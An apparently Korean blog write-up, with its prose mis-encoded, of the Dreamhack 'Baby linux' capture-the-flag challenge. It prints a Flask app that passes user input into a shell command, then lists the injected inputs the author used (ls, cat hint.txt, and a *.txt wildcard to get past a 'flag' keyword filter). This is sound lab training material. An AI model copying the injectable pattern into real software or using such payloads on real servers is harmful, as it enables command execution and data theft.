https://dreamhack.io/wargame/challenges/837
[1] λ¬Έμ λΆμ
# μΉ νμ΄μ§ λΆμ
λ¬Έμ μ μ΄λ¦μ 'Baby linux' μ΄κ³ ,
μ΄λ¦μ²λΌ 리λ μ€ λͺ λ Ήμ΄ 'echo$( )' κ΄νΈ μμ 무μΈκ°λ₯Ό μ λ ₯νκ³ μ μΆν μ μλ κ΅¬μ‘°λ‘ λμ΄ μλ€.
<html>
<head>
<link rel="stylesheet" href="/static/css/bootstrap.min.css">
<link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">
<link rel="stylesheet" href="/static/css/non-responsive.css">
</head>
<body class="container">
<form method="POST">
<div class="row">
<div class="col-md-6 form-group">
<h1>Baby Linux</h1><br/>
<div class="input_box">
<p class="input_txt">echo $(<input type="text" name="user_input" class="input_in_txt" required>)</p>
</div>
</div>
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form><br/><br/>
<h2>Result</h2>
<pre>
</pre>
<script src="/static/js/jquery.min.js"></script>
<script src="/static/js/bootstrap.min.js"></script>
</body>
</html>
λ¬Έμ νλ©΄μ μμ€ μ½λμ΄λ€.
POST λ°©μμΌλ‘ νΌμ΄ ꡬμ±λμ΄ μκ³ , echo $() μμ μ λ ₯ν κ°μ "user_input" μ΄λΌλ νλΌλ―Έν°λ‘ μ μ₯λμ΄ μ μΆλλ κ² κ°λ€.
λ μ΄μ μμλΌ μ μλ κ²μ΄ μμ΄μ λ€μ΄λ‘λν λ¬Έμ νμΌμ μ΄ν΄λ³΄μλ€.
# λ€μ΄λ‘λν λ¬Έμ νμΌ λΆμ
βοΈ app.py
#!/usr/bin/env python3
import subprocess
from flask import Flask, request, render_template
APP = Flask(__name__)
@APP.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
user_input = request.form.get('user_input')
cmd = f'echo $({user_input})'
if 'flag' in cmd:
return render_template('index.html', result='No!')
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('index.html', result=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('index.html', result='Timeout')
except subprocess.CalledProcessError:
return render_template('index.html', result='Error')
return render_template('index.html')
if __name__ == '__main__':
APP.run(host='0.0.0.0', port=8000)
λ΄κ° ν΄μν λ°λ‘λ
μΉμμ λ°μμ¨ 'user_input'μ λ΄μ©μ cmdμ λ£λ κ² κ°μλ€.
κ·Έλ¦¬κ³ cmdμ 'flag'λΌλ λ¬Έμμ΄μ΄ μλ€λ©΄ 'No!'λΌλ κ²°κ³Όλ₯Ό λ°ννλ κ² κ°μλ€.
κ·Έλ¬λκΉ μ‘°κ±΄μ 'flag'λΌλ λ¬Έμμ΄μ΄ cmd μ°½μ λ€μ΄κ°λ©΄ μ λλ κ²μ΄λ€.
μ΄ λΆλΆμ νμμ μ°Έκ³ ν΄μ, νΌμ μ μΆνλ μΉΈμ ")'&&f'echo $(ls"λ₯Ό μ λ ₯ν΄λ³΄μλ€.
μ λ ₯ν κ°μ ν΅ν΄ cmd = f'echo $()'&&f'echo $(ls)' κ° μ λ¬λλ κ²μ΄λ€.
('ls'λ νμ¬ λ΄κ° μλ λλ ν°λ¦¬ μμ μ‘΄μ¬νλ λͺ¨λ λλ ν°λ¦¬μ νμΌλ€μ λͺ©λ‘μ μΆλ ₯νλ λͺ λ Ήμ΄μ΄λ€.)
νμ¬ λ΄κ° μλ λλ ν°λ¦¬ μμ νμΌκ³Ό λλ ν°λ¦¬ λͺ©λ‘μ μΆλ ₯νλ κ²μ μ±κ³΅νλ€!
'hint.txt' νμΌμ΄ μμ¬μ€λ¬μ°λ 'cat' λͺ λ Ήμ΄λ₯Ό ν΅ν΄ κ·Έ λ΄μ©μ 보λλ‘ νκ² λ€.
.
.
.
)'&&f'echo $(cat hint.txt μ μ λ ₯ν΄μ
cmd = f'echo $()'&&f'echo $(cat hint.txt)' μ΄ μ λ¬λλλ‘ νλ€.
κ·Έλ¬λλ ./dream/hack/hello μμ Flagκ° μλ€λ λ΄μ©μ λ¬Έκ΅¬κ° μΆλ ₯λμλ€.
.
.
.
./dream/hack/hello μμ μ΄λ€ νμΌμ΄λ λλ ν λ¦¬κ° μλμ§ νμΈνκ³ μΆμλ€.
)'&&f'echo $(ls ./dream/hack/hello μ μ λ ₯ν΄μ
cmd = f'echo $()'&&f'echo $(ls ./dream/hack/hello)' μ΄ μ λ¬λλλ‘ νλ€.
κ·Έλ¬λλ ./dream/hack/hello μμ λ΄κ° μ°Ύλ flag.txtκ° μλ€λ λ¬Έκ΅¬κ° μΆλ ₯λμλ€.
.
.
.
μ΄μ flag.txtμ λ΄μ©μ μ΄μ΄λ΄μΌ νλλ°, μ¬κΈ°μ 'flag'λΌλ λ¬Έμμ΄μ΄ cmdμ μμΌλ©΄ μ λλ€λ κ²μ΄ λ¬Έμ μλ€.
κ·Έλμ )'&&f'echo $(cat ./dream/hack/hello/*.txt μ μ¬μ©νμ¬ '.txt'λ‘ λλλ λͺ¨λ νμΌμ λ΄μ©μ μΆλ ₯νλ λͺ λ Ήμ΄λ₯Ό μ¬μ©νμλ€.
λ¬Έμ νμ΄ μλ£~~
'SWLUG > μΉ ν΄νΉ' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
[Dreamhack/λλ¦Όν΅] command-injection-1 (2) | 2023.11.20 |
---|---|
[Dreamhack/λλ¦Όν΅] Command Injection Advanced (1) | 2023.11.19 |
[Dreamhack/λλ¦Όν΅] csrf-2 (1) | 2023.11.11 |
[Dreamhack/λλ¦Όν΅] csrf-1 (0) | 2023.11.10 |
[Dreamhack/λλ¦Όν΅] XSS Filtering Bypass (0) | 2023.11.10 |